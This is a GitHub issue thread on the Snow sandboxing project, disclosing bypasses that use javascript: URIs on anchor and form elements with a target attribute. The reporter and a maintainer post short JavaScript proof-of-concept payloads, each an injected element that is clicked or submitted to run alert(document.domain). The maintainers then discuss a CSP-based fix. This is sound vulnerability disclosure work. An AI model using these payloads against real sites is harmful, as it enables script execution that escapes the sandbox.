Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

more javascript uri bypasses with target attr #80

Closed
arxenix opened this issue May 4, 2023 · 5 comments · Fixed by #125
Closed

more javascript uri bypasses with target attr #80

arxenix opened this issue May 4, 2023 · 5 comments · Fixed by #125
Labels
vulnerability Introduces snow bypass

Comments

@arxenix
Copy link

arxenix commented May 4, 2023

f = document.createElement('div');
f.innerHTML = `
<a id="pwn" target="lolpwnd" href="javascript:alert(document.domain)">
`;
document.body.appendChild(f);

document.querySelector("#pwn").click();
f = document.createElement('div');
f.innerHTML = `
<form id="pwn" method="GET" target="lolpwnd" action="javascript:alert(document.domain)">
`;
document.body.appendChild(f);

document.querySelector("#pwn").submit();
@arxenix arxenix changed the title a click bypass more javascript uri bypasses May 4, 2023
@arxenix arxenix changed the title more javascript uri bypasses more javascript uri bypasses with target attr May 4, 2023
@weizman
Copy link
Member

weizman commented May 21, 2023

fml

@weizman
Copy link
Member

weizman commented Jun 19, 2023

also

f = document.createElement('form');
f.id = 'pwn';
f.method = 'GET';
f.target = 'xxx';
f.action = 'javascript:alert(1)';
document.body.appendChild(f);
document.querySelector("#pwn").submit();

(making sure it is clear this isn't just in html scope)

@weizman
Copy link
Member

weizman commented Jun 19, 2023

the solution to this will probably be around an important initiative Snow is about to go through where we'd have to recommend some basic level of CSP to be integrated with Snow for Snow to be as secure as possible.
It will for sure address specifically the javascript: catastrophe...

@weizman weizman added the vulnerability Introduces snow bypass label Jun 22, 2023
@serapath
Copy link

serapath commented Jul 4, 2023

Hm, in both cases (form and anchor tag) it uses javascript:, so maybe all properties have to be scanned, just like you suggested for data uris, so scripts can be prefixed with SNOW?

@weizman
Copy link
Member

weizman commented Jul 10, 2023

Definitely! 3-4 months ago, that would be exactly what I would have done.

But in those 3-4 months I was introduced to so many vulns in Snow involving non-sufficient HTML sanitization (mostly by @arxenix and @mmndaniel), that I got convinced that Snow cannot achieve its goal without the help of CSP (which btw circles back to your thread on twitter).

So atm, we're investigating what is the perfect balance of SNOW&CSP between "CSP too strict to use" and "CSP isn't strict enough to actually help Snow".

You're welcome to jump in on this at #109!

But the bottom line is that if we can find a good CSP balance that users will feel ok with adopting to use Snow security, it'll allow us to drop support for HTML based Snow vulns, as I'm losing hope for defending against those correctly..

@weizman weizman closed this as completed Jul 17, 2023
@weizman weizman reopened this Jul 17, 2023
@weizman weizman linked a pull request Jul 17, 2023 that will close this issue
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
vulnerability Introduces snow bypass
Projects
None yet
Development

Successfully merging a pull request may close this issue.

3 participants